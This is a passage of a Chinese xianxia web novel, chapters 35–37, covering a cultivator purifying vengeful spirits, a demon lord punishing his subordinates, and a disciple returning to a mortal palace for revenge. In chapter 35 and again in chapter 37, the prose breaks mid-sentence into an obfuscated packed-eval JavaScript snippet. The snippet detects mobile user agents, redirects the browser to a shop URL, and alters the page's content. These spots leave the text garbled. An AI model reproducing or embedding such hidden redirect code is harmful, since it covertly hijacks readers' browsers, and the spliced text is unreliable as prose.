“我已经过了热血上头的年纪,很清楚自己在做什么。我修众生道,明知苍生有难而置身事外,才会真正陷于心魔。” 世上道无好坏,却只有坚定不移者,方能触及飞升之路,而稍有动摇,则万劫不复。 君轻离从金丹问心、选择众生道起,就很明确自己未来要走的路。 要么无愧于心得道飞升,要么实力不济为苍生而死。 这是他的宿命,不会为任何人而改变。 35. 第35章 寒砚自然明白他话中之意,也清楚自己三言两语无法影响他的决定。 正如他所言,度化这些怨灵是他必须要做的事情。 她也不会真的去阻止。 算了,真是的,看在他曾帮过她一次的份上…… 虽然这人现在一点印象都没有。 寒砚敛眸,遮挡住眼底一闪而逝的冷光。 待此事结束,她也不必再待在无妄剑宗陪这群蠢货浪费时间。 就当是还他的情了。 她唇线拉直,面无表情地与君轻离对视:“师尊不用和我多解释,早开始早结束,大师姐一个人在城中我不放心。” 风无双堂堂元婴期的剑修,再加上君轻离离开时留下的结界,就算镜修竹杀回来也不会有任何危险,毕竟他们离得又不远。 君轻离没戳穿她随口瞎扯的借口,点头,转过身面向脚下的城池。 这些怨灵在寒砚的强势“安抚”下,短暂陷入混沌中,跟没有意识的幽魂一样四川游荡。可一旦醒来,他们会再度陷入被怨气折磨的无尽痛苦之中,最终失去所有理智无差别攻击一切生灵。 君轻离并起剑指,他并不会什么度化之术,那是禅宗精通之事,可是他也清楚就算是禅宗宗主过来,看见这一情况也只能束手无策。 受方不悔影响,这些怨灵的气息连在一起,甚至和此地灵气相融,无法将其分开度化。 他能做的就是将怨气强行剥离,但是这团怨气过重,放在哪里都只会成为隐患,由他本人看守最为安全。 洁白的霜雪从天空飘落,淡青色的灵光从他身上晕开,如春风过境,拂过黑夜中城池的每一寸地界。 寒砚站在他身边,心中仅剩的郁气也随之消散。 她不禁抬头,眼中映入青年如玉温润的侧脸,他闭着眼,像一尊不喜不悲的神像。 如果他真的只是一尊神像就好了,起码不会到处跑,让她好一番找。 寒砚收回目光,确认他现在不会注意到自己,五指摊开,丝丝缕缕的黑气在她掌心聚拢,最后变成个和楼轻月一模一样长相的小人。 楼轻月神色复杂,“为何救我?” “顺手而已。” 楼轻月才不想,她怎么看都不像是个好心没处使的人。 想说的很多,但最终只是朝寒砚一拜,额头轻触手背,“轻月……多谢尊者救命之恩,此生无以为报,唯愿尊者,万事顺心。” 寒砚不耐烦:“废话真多。你运气不错,他正要将这些魂魄送走,我会掩盖你身上的气息,将你藏在这些怨灵之内。去往鬼域后如何你自行决定。” 不待楼轻月说什么,她屈指一弹,残魂化为道并不起眼的流光落入怨灵堆中。 藏在她袖中,将她所有矛盾的言行尽收眼底的师无故突然开口:“你说君轻离舍己为人,你又比他好多少?滥好心。” 楼轻月本该彻底魂飞魄散,永世不入轮回,被她保下一缕魂魄已属于是逆天而行。 她身为是修士,魂魄远比凡人强悍得多,不管是继续当鬼修还是投胎,都没什么太大的影响。 伤成这样,能捡回一条命已是不易。 寒砚笑容危险,“少拿我和他作比较。” 和平时期也就算了,但镜修竹刚离开,万一对方杀个回马枪,他连跑都跑不掉。 虽然按照君轻离的说法,镜修竹不会杀他破坏平衡,但就突发奇想地要拉着整个世界去死呢。 寒砚以己度人地想着。 师无故在她袖中翻了个身,学着她之前睡觉的模样,木制的手交叠放在小腹上。 这人……还挺嘴硬的,好歹是个正道修士,帮人又不丢脸。 不过他还记得自己阶下囚的身份,再加上正魔对立,没再说什么。 而此时,远在魔界魔宫的镜修竹打了个喷嚏,蹙起剑眉,难道自己不小心中了招? 白发男人翘着腿坐在王座上,眉间魔纹因为受伤暗淡了不少,但也不毫不影响他强大可怖的气场,那张脸精致艳丽,却无人敢抬头欣赏。 下方跪了乌压压一地人。 为首的黑衣魔修身量修长,跪得笔直,烛火的光亮下,可以清楚看见一张稚气未脱的漂亮脸庞。 “属下办事不力,甘愿受罚。” 魔尊修成冷白的手指敲击着王座的把手,一声一声,富有节奏,仿佛敲在所有人心头,空气都逐渐凝滞。 气氛一时凝固,镜修竹不开口,跪着的人连呼吸都不敢大声。 除了笙。 他面无表情地低头看地,一动不动像个没有生命特征的石像。 眉眼冷漠锋锐,利落的高马尾披散在瘦削的后背,如同一把染血的妖刀。 这人似乎就没有恐惧这种情绪。 “当然得罚。” 这位魔界尊者终于开口。 他勾起嫣红的唇,没什么温度地道:“右护法,我让你看好丰城,看好聚魂印,你就是这么看的?” 殿内骤然刮起阴冷的风,魔气肆意翻腾,颤抖着匍匐在地的宫人们发出接二连三的惨叫。 血肉被风刃轻而易举割开,如案板上的鱼,面对锋利的屠刀毫无还手之力,他们甚至来不及求饶。 大殿的门无声无息打开,魔风缓了下来,吹过地面狼藉,一切化为灰飞,被风卷堆积在门外的槐树下。 镜修竹倒也没有区别对待。 比起实力低微的宫人,笙虽然命还在,但也不好受。 身上十来道深可见骨的口子,鲜血汩汩,很快就在双膝之下形成小小的血洼。 这在魔宫,还只是小惩大诫。 “属下知错。” 笙用力朝镜修竹磕了个头,脸上血色尽失,额头上的血液顺着高挺的鼻梁淌下,他恍若未觉。 “那你说说,你错在何处。” 少年卡壳,只是看着他,有些手足无措,然后又给他磕了个头。 镜修竹:“……” 虽然一早就知道他的性子——别管是不是自己的问题,认错挨罚就是。 但镜修竹还是难免牙疼。 “锦瑟已经传音本座,你此番失职是去协助她处理叛徒一事,但——” 镜修竹拉长声音,眼眸眯起,来自渡劫期的威压不客气地袭来。 笙闷哼了声,身上冷汗涔涔,脊背狠狠往下一压,骨骼断裂的清脆声响十分突兀。 “如此重错,死罪可免,但该受的罚一样也不能少,自行去领罚吧。” 如果不是事情尚有转圜的余地,不然即便他们姐弟跟了他上千年,他也不会手软! 镜修竹想起记忆中的身影,神色稍缓。 “是。“ 大门打开,笙起身行礼,目不斜视地走出大殿。 这座大殿曾经是魔界君王传唤大臣商议要事使用,镜修竹入主魔界后,将原来的东西废了个七七八八。 他不在,长老管事,如今他回来,魔宫就是他的一言堂。 左右两位护法只会听从他的命令,而镜修竹也只信任他们二人。 经过拐角时,笙与另一个身披黑袍的魔族擦身而过,他抬了下眼皮,见是魔宫的一位刚得势的长老。 作为一把直接听命于魔尊的刀,笙对魔界其他人并不关心,他也不需要向魔尊以外的人行礼。 两人简单路过,谁也没有开口。 拉开距离后师无故回头,确认少年走出视线范围内,他手中凝出一个洁白的纸鹤。 意念一动,纸鹤无火自燃,将他想传递的消息带给寒砚。 在此之前,他虽说是她手中的傀儡,但其实并未因此做过什么,除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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酒壶呈半透明,里面的液体随他的动作轻轻晃动,外表花纹并不复杂,乍一看有些古朴。 很显然,这是个上了年头的酒壶。 师无故主动开口:“之前尊主让我筹备的东西皆已备得差不多了,现在只缺聚魂印……” “聚魂印没有了。”镜修竹打断他的话。 他把玩酒杯的动作停住,周身气息多了几分渗人的邪妄,目光幽森地落在师无故身上。 师无故本能地想要后退,但是他不能。 镜修竹性子阴晴不定,这样反而可能会激怒他。 师无故艰难开口:“……没有了?” 任务是镜修竹一回来就派发到他手上的,现在缺了东西他不得不问一句。 镜修竹收起酒杯,托着下巴,身子往前探,“聚魂印没有了你狠高兴?” 师无故心脏猛地一跳,慌忙跪下,“属下不敢。” 殿内的魔气开始躁动,师无故全身的经脉传来撕裂般的疼痛,他咬紧牙关,没有发出声音。 镜修竹站了起来,华丽的长袍曳地,不徐不疾地从师无故身侧而过。 沙哑醇厚的嗓音从外方飘来,随意又狂妄。 “没了就没了,反正有新的容器。其他东西备好,别给我闹出幺蛾子,到时候可没人保你,小心我拿你献祭。” “……是,尊上。” 师无故侧过头,殿内魔气逐渐平息,他头上的兜帽随着动作滑落。 明晰的半张脸一片惨白,却皎洁如月,浅蓝的眸子昭示了他的身份——魔族。 一个生于魔界,却未能长在魔界的魔族。 36. 第36章 魔界的长老都有自己的府邸,重新戴好兜帽后,师无故从魔宫回到自己的住处。 步子四平八稳,好像受伤的人不是他。 他在纠结要不要把镜修竹交代给他的事情告诉寒砚,之前她不过问魔界的事情,他自然有理由不说,但现在她问了。 可这件事……貌似和她也没什么关系。 师无故对魔界没什么归属感,对寒砚更是没什么好感,可他还要在魔尊手下过日子。 万一哪天东窗事发,那位可未必会大老远跑来救他的小命,能少一点勾结修真界的证据就少一点。 路上,有人跟他打招呼。 “师长老这是去找尊上商量重大事宜吗?” 确实重大,不过对方没打算跟他商量。 “尊上都没叫其他人,只让长老您去了……” 那还是叫其他人去吧。 “师长老,尊上都跟您说了什么?” 他敢说,你敢听? “师长老……” 烦,一群趋炎附势的家伙。 在魔界,实力强的基本上野心都不小,比如提议攻打修真界的几位长老。 师无故以前虽然默默无闻,别人让他做什么,他基本都不会拒绝,导致九成的人见了他只会冷嘲热讽。 那些人死后,镜修竹又在魔界大肆排除异己,导致麾下除了两位护法竟无人可用。 他好歹也是个半步合体的长老,自然被镜修竹“委以重任”。 做不好会没命的那种。 师无故捂紧了兜帽,不想听这些没意义的奉承,挥袖遁入影中,实力不如他的都无法找到他的踪迹。 …… 当灵媒纸鹤穿过万里山河,出现在寒砚手中时,君轻离刚好收起手。 她快速将手放在身后,用宽大的袖子遮挡住。 之前君轻离给怨灵剥离怨气时,她已经将身上的大红嫁衣换下,换成乾坤袋中存放的几十件款式一样的白裙。 为了避免纠结第二天穿什么,干脆一开始就定制一批一模一样的。 现在站在仙气飘飘的仙君身后,还真有几分仙人弟子的模样。 “何物?” 君轻离比她想象中敏锐,如此细微的波动也没能逃过他的感知。 她的纸灵媒是上辈子钻研出来的,专门用于躲避那些讨人嫌的家伙的追捕,即便是真正的仙人也很难注意。 啧,平日里瞧着不像个聪明的,现在这么机警做什么。 寒砚还记得自己还在气头上,不咸不淡道:“朋友的传音,师尊不必在意,眼前还有更多的无辜人等着你去关心。” 君轻离一噎。 她都这么说了,他也不好再多问,专心致志地继续处理眼前事情。 呈现出灰色的怨气不断收缩凝实,明明还没触碰到,身体就已经隐隐传来不适。 体内的灵力非常抗拒这些邪气。 君轻离眉心微蹙,手中飞快结印,淡青色的灵光环绕在他周围,形成一层薄但坚固的屏障,没让这些怨气靠近寒砚。 随着天边泛起鱼肚白,晨曦洒在这座城池上,万籁俱静,最后一丝怨气消失,化为一个小指大的珠子。 这个过程并不容易,好在君轻离不是头一回。 准确来说是有过类似的经历,所以他明明是带着任务重生,还敢做出如此大胆的决定。 天光大亮,珠子一点点变得透明,被君轻离收入内府。 体内的灵力将日日夜夜洗涤怨气,这对于他而言也是一种修行。 寒砚见他脸色越来越差,随口问:“还好?” “尚可。” 君轻离背对她,闭上眼睛专心平复体内不断翻涌的怨气。 两股完全不同的力量在体内碰撞肯定是不好受的,即便是他如今的半仙之体,在怨气的不断吞噬之下,也变得如凡躯般脆弱。 他默默擦掉嘴角的鲜血,盘腿坐下,长发被灵息带动飘动,似仙人临凡。 合上眼,神识沉入体内,全神贯注地应对。 君轻离虽未明说,但寒砚大抵能猜到他带她过来的目的。 走到他身前蹲下,她清亮的杏眼转为血色。 伸出手,苍白的指尖从他眉梢滑到下颌,没有半点旖旎暧昧,反而像个吃人的鬼魅,下一秒就会将人扒皮抽骨。 当然,寒砚还是没那么凶残的。 她的指尖最后停留在他的眉心,那里有一道细长的银色道纹,漂亮得像被人精心画上去的。 但寒砚知道不是。 烟雾缭绕般的鬼气从她身后浮现,升往半空,逐渐在她头顶上空形成个巨大的狰狞黑影,看不清具体的模样。 鬼气遮蔽阳光,在此圈出一片天地。 从远处看,这座山峰都被笼罩在不祥的黑气中。 “这也是顺手?”师无故故意找茬。 “不,这次顺脚。” 师无故:“?” 对付怨气这种东西,寒砚可比君轻离拿手,而她现在只需要辅助他压制。 正在和怨气斗智斗勇的君轻离察觉到什么,刚要喝止,就见内府中庞大的怨气宛如霜打的茄子,一下子偃旗息鼓,气息萎靡地收缩成一团。 现在抽身,便相当于半途而废。 他一咬牙,铺天盖地的神识带着冰系灵力以绝对优势将其镇压,同时他的识海不断收缩,边缘甚至隐隐有崩溃的趋势。 寒砚看向自己手,手背的皮肤裂开,血痕还在向手臂延伸,肌肤之下是粉色的血肉,她体内已经没多少血可以流了。 若是叫君轻离看见她现在的样子,怕是有些棘手。 君轻离眼睫一颤,看样子就要醒来。 在他醒来前,寒砚将所有鬼气收回,掐了个清尘术,将身上不多的血迹清理掉,装作无事发生的样子。 虽然对方不可能不知道是她。 寒砚脚下挪动,索性转身躺在草地上。 丰城周围萦绕不散的怨气终于消失,连空气都清新了好几个度。 此地确实是个风水宝地,正常的话,用不了多久就有凡人和散修聚集形成新的城池,然后重现百年前的繁华。 但如果按照原著发展,整个浮华界都被卷入战火,那么就不好说了。 君轻离意识回笼,睁眼就见少女四肢张开,百无聊赖地瘫在地上,神情恬淡,悠闲至极。 不像是受伤或者身体不舒服的样子。 他声音僵硬地开口:“阿砚,把手给我。” 寒砚撇了撇嘴,没和他对着干,抬起手。 君轻离并指落在她手腕上,脉象虽然还是虚弱,但还算平稳。 “我身体很好,一时半会死不掉。” 君轻离拍了下她的手腕,“胡说八道些什么。身体没事就起来,我们该回去了。你不是说那位白姑娘可能还有救吗?” 寒砚对白澄没什么想法。 真要问她的想法就是,人家死都死了,就不能放人家去投胎吗?百年的时间过去,亲朋好友该放下的也都放下了。 想起方不悔,她轻嗤了声。 自以为是的深情,实则不过是想要万事如意又不肯付出代价,贪婪又愚蠢罢了。 对君轻离的话,她敷衍道:“只是说可能,你别抱太大的希望。” 君轻离本就没抱希望,“不过尽力而为。” …… 回到城中,风无双才醒来不久 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作为老城主的外孙女,风无双虽自认对丰城并无责任,却还是忍不住但询问:“仙君是如何处理那些怨灵的?” 如此多的怨灵,杀也不是,救也很难,至少她目前尚未想到一个两全之法。都是些可怜人,她希望能够给他们一个尽可能妥善的结果。 “我已将他们全部送去往生。” 寒砚紧跟道:“是啊,用自己的身体装怨气,觉得自己可有本事了。” “……没大没小。”君轻离小声道,想敲她额头,被现在已经经验丰富的寒砚轻松躲开。 听懂寒砚话的风无双肃然起敬。 虽然仙君仁慈之心早有耳闻,年少时见到时也觉得远比想象中的好接触,但如今身为局中人才知,这种绝对的实力和决心有多么难得。 她以无情剑问道,比起飞升,她更想成为仙君这样心怀众生,亦有能力保护苍生的修士。 寒砚看风无双表情就知道她在想什么,一时间难以理解她和君轻离的脑回路。 果然他俩才适合当师徒吧,一个教得放心,一个学得开心。 唯一受伤的只有掌门师兄。 “你之后有何打算?”君轻离问风无双。 风无双便将自己对寒砚的那一套说辞又说了遍,“我打算带着白澄姑娘回宗,不过此前我想先去为我娘立一个衣冠冢。” 君轻离欣慰道:“去吧。” 她将冰棺和魂魄收起,“弟子失陪。” 风无双走后,君轻离幽幽看向寒砚,等着她的解释。 寒砚目光游移了下,理直气壮开口:“我就是接了个任务……” 想起晋长老跟他说的,君轻离头疼地揉了揉太阳穴,早该想到她不会乖乖听话的,“任务做完随我回宗门。” “我还有事。”寒砚拒绝他的要求。 君轻离疑惑:“何事?” 寒砚咳了声,“经历丰城一事,感触颇多,我也想去找我爹娘,万一他们被奸人所害,我也就正好给他们报仇。” 君轻离知道她记事早,记得自己出身凡尘,只是不明白,明明她上一世也不曾去找过所谓的父母。 想起初见时她惨兮兮的样子,他不由皱眉。 天道降下指示后他就推演过她的命格,亲缘淡薄,在这世间并不存在有直系亲属。 不过话不能说满,他斩钉截铁道:“我和你一起去。” 寒砚:“……” 她去杀人的,他跟着去干什么?递刀吗?别碍手碍脚就不错了。 37. 第37章 说是要立衣冠冢,其实也没什么东西好放的。 楼轻月当初自爆,身躯全部被毁,一点没剩,如今魂魄也没了。 风无双沉默地站在之前方不悔带她来过的墓前,冷风吹过及腰长发,似乎从她心尖吹过去。 这是她外祖父的坟墓。 丰城第三十二代城主曲觉非之墓。 楼轻月随母姓,这也是当初即便她二人长得如此相似,她也未曾多想的原因之一。 半晌过后,风无双拿出墨梅骨伞,抽出溯流光。她把剑收了起来,用伞柄在老城主墓边挖了个小坑。 清冷得没有一丝人气的声音响起。 “娘,您当初也不曾给我留下什么物什,我如今找不着东西给您立衣冠冢,只有这副身躯,是您留给我的,我也永远不会弄丢的。” 风无双垂下眼眸,将袖子捋起。 剑光闪过,手臂上鲜血滴落。 巴掌大的一块肉落在坑中,被她用寒冰术冻住,只要她不死,她灵力所化的冰就不会轻易融化。 血淋淋的伤口恢复如初,风无双盖上泥土,立了个小小的坟墓,就地取材,砍了棵枯树作墓碑。 她以指为笔,在碑上留下端正锋锐的几个字。 少城主楼轻月之墓。 收起剑和伞,她在两座紧邻的墓面前深深跪拜。 “无双此次离去,不知何时才能回来看望您二位,莫思、莫念。” 莫怪。 …… 对上寒砚一言难尽的表情,君轻离犹豫开口:“你不愿?” 寒砚扶额,“……倒也不是,师尊难道没有别的事情要忙?” “宗门中还有很多长老,逍云会带着他们去处理。” 如果浮华界的安危只靠他一个人,那么也就没什么好挽救的,君轻离忧愁地叹气。 他终究只是个修士,不是真正的仙神,而且即便是神,也无法永远庇佑人间。 寒砚一时间找不到理由拒绝,只好不情不愿地答应。 风无双得知他二人不回剑宗后也没说什么,简单道别便各自离去。 由于界石的存在,五域被结界隔开,轻易不得越界。 顾及凡人弱小,凡界的结界也最强大、最严苛,再强大的修士过去都会被压到筑基及以下,修为越高受到的限制越狠。 而十大仙门得到君轻离的允许,各自拥有五枚越界令牌,一般没谁会想不开跑到灵气贫瘠的凡尘去受罪。 “若是我不在,你打算如何过去?” 她离开剑宗的时候没和任何人说自己的去处,逍云自然也不可能给她越界令。 君轻离御剑,寒砚站在他身后,一只手揪着他的衣袍,摇头晃脑道:“山人自有妙计。” 她不想说,就算他逼问,也只会得到她的胡说八道。 君轻离索性不再多问。 作为亲自布下结界的人,君轻离过界比其他人轻松,但同样会被压制境界。 不过他有在凡尘御剑的特权。 归去剑穿过无形的屏障,寒砚甚至都还没来得及探出头去看,就已离开修真界。 一到凡尘,空气中的浊气从四面八方而来,让她有些不习惯地皱了皱眉。 此时的凡尘正值寒冬,尤其位于北部的陵国,更是鹅毛大雪,铺在地上堆积过膝盖。 不用寒砚开口,君轻离便带着她来了他初见她的地方。 雪白的屋顶,大红的宫墙,夜晚的陵国宫廷灯火通明,一派热闹景象。 君轻离对凡间的东西并不熟悉,只是循着记忆,将寒砚带到了记忆中的小院。 对寒砚来说是十五年,对他而言,早已是百年时间过去。 庭院冷清,柿子树还待在原来的位置,被大雪压弯的枝条光秃秃地,轮廓却大了一圈。 寒砚落地,将一切看得分明。 这是座荒无人烟的冷宫,侧耳倾听还能发现某些小动物的踪迹。看来她走后,这座宫殿并没有迎来新人。 许是穿越的原因,她一出生便有记忆,能够听懂周围的人在说什么,分辨出他们对她的是善意或者恶意。 寒砚清楚地记得,她的生母是一个姓许的妃子,生她后没多久被打入冷宫。 在她三岁那年,因为身子骨太弱,没熬过那一年的冬天。 那也是她来这个世界后第一次见到死人。 她朝冷宫大门走去,经过一口枯井时,不经意地侧首。 君轻离还跟着她,这让她后面的计划略有些麻烦。 “师尊还要跟着我?” “是。” “那我能先问师尊一个问题吗?”寒砚道,而且这也算是提前给他打个预防针。 毕竟不管他态度如何,都不会影响她的决定。 君轻离不假思索:“你问。” “我有一个仇人,他身份不低,杀了他或者弄残他,都会有许多无辜之人因此遇难,如果是师尊是我,会怎么做?” 君轻离谨慎开口:“什么样的仇?” “不共戴天之仇,不杀难解心头恨之仇。” 她还是笑,但她的笑给君轻离一种,但凡他的回答让她不满意,她就敢当场弑师的错觉。 想到自己的亲身经历,君轻离后退两步,“不一定要身体上的折磨才能让人痛苦。” 她神色莫名地看着他的动作,点头道:“师尊说的在理。” 君轻离一口气松到一半,便听她道:“可是我想让他们身体和心里都痛苦,而且让恶人活着不就是给他们机会作恶吗?” 君轻离眼皮子一跳,怎么就他们了?她什么时候在凡尘有很多仇人?是他不在剑宗的时间? 寒砚没在这座冷宫多待,她在这里并没有什么好的回忆,“仙君要跟就跟着吧。” 心情好时就亲昵地喊他师尊,心情不好时就疏离地喊他仙君。 君轻离暗自摇头,踌躇片刻,还是跟上她的步伐。 陵国的皇宫还是十多年前的布局,寒砚隐去身形,轻车熟路地走在各个宫道上。 没记错的话,这个点应该下朝了,那个人会在哪呢?后宫?还是他的寝殿? 寒砚嘴角愉悦地翘起,手中掐诀,星星点点的灵光飞出,很快就帮她找到想找的人。 她脚下步子变换方向,轻快地朝陵国后宫走去。 君轻离落后她两步,目光打量地扫过各种景物。 这是她的家?貌似在凡间也称得上是金碧辉煌,为何她会住在那种偏僻之地? 他直截了当地问出了自己的疑问。 寒砚噗嗤笑出声,干脆等他走到自己身边,才道:“说起来师尊可能不信,我生而知之。” 最后音节落下,君轻离瞳孔一缩,大脑空白了瞬间。 他实在是不会伪装情绪,眼底的惊骇就差怼她脸上,系统还真是饥不择食,就他这样的宿主……也不是说他差,起码还是能打的。 寒砚侧过头,当做什么都不知道,“我的母亲是陵国国君的妃子,姓许,小官之女。当初因为遭人栽赃陷害,刚生产不久就被打入冷宫,也就是师尊见到我的地方。冷宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952259|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荒芜,宫人多看碟下菜,食物和过冬的物资常有遗漏,她还带着我这个累赘。最终在我三岁那年一病不起。” 许妃身体柔弱,也不是什么多坚强的人,各方磋磨下,天妒红颜,还不到二十五就香消玉殒。 她当时除了比普通小孩记事早,也帮不了她什么,只能眼睁睁地看着她缠绵病榻,最后撒手人寰。 三岁的寒砚觉得自己应该是恨他们的,可当她为了不让许妃被送入皇陵,烧掉其遗体,发现自己对这些害死许妃的人并没有太多的情绪。 时人讲究入土为安,可她不以为然。 也是从那天开始,她发现自己可以使用藏在灵魂深处的鬼气,她借助鬼气反杀了存有歹心的嬷嬷,然后扔垃圾一样扔进枯井。 她当时还在期待,那位总是喜欢找她玩的二皇兄,见到嬷嬷时的表情。 却不曾想,一抬头就看见个陌生的青年站在庭院中。 后面的事情寒砚没说,一抬头,果不其然在君轻离眼中看到了心疼之色。 她趁热打铁,神色黯然道:“我很感激师尊带我离开这座吃人的魔窟,但我没想到……” 但没想到,他也很快“抛弃”了她。君轻离在心里接上这句话。 难以言喻的酸涩弥漫,他张了张唇,却觉得在此时说什么都显得格外苍白,伤害已经造成了,不是所谓的弥补可以轻易抚平。 原本还算轻松的氛围低沉下来,一直到二人抵达某处宫殿。 做内侍打扮的人手持拂尘守在门口,和同样守门的年轻宫女闲聊着,他们看不见寒砚二人,说的话自然未有防备,不过大多是些无关痛痒的场面话。 两人都是修士,即便没有刻意放出神识去听取看,五感也比普通人敏锐得多。 在进殿前,君轻离面色古怪地拉住寒砚的衣袖,“里面的声音很奇怪,小心。” 听着从殿内传来的不算清晰的暧昧水声,寒砚嘴角一抽,她没记错的话,这具身体名义上的父亲都快五十了吧,莫非已经换了新君? 她怀着少许的恶趣味开口:“既然奇怪,师尊不若走在弟子前面。” 君轻离未作他想,之前是不知道她想做什么、要去哪,才让她走在前面带路,如今知道了她的目标,自然没有让小辈探路的道理。 他神色郑重:“自然。” 猜到里面的人在做什么,寒砚又看了眼他略微凝重的表情,险些不厚道地笑出声。 修真界的高阶修士找道侣的人都很少,即便找了也很少如凡人那般行周公之礼,想要孕育后代的手段也花样百出。 到了君轻离这种的境界,几乎接触不到这种称得上原始的□□方式。 身上施了术,两人直接穿门而过,没有惊动任何人。 宫殿很大,布置格外奢华,看样子要么格外受宠,要么位份不低或者家里给力。 走在前方的青年宽肩长腿,几乎将她的视线挡了七七八八,寒砚抱着手,悠哉等待着看好戏。 从殿外到殿内,声音越来越明晰,直听得人面红心跳。 殿里点着名贵的熏香,不算浓,寒砚轻嗅了下,大致猜到是用于催情辅助房事的。 粉色的薄纱被灵力带起的轻风朝两边拂开,隐隐约约间已经能够看到纱幔之后朦胧的重叠身影。 君轻离还没察觉到弟子的“险恶”用心。 眼看只剩下最后一点距离,留给里面正在酣战的二人的遮挡已经不多。 他正想着要不干脆一举将碍事的纱全部掀开,后方的寒砚突然将他拽了个趔趄。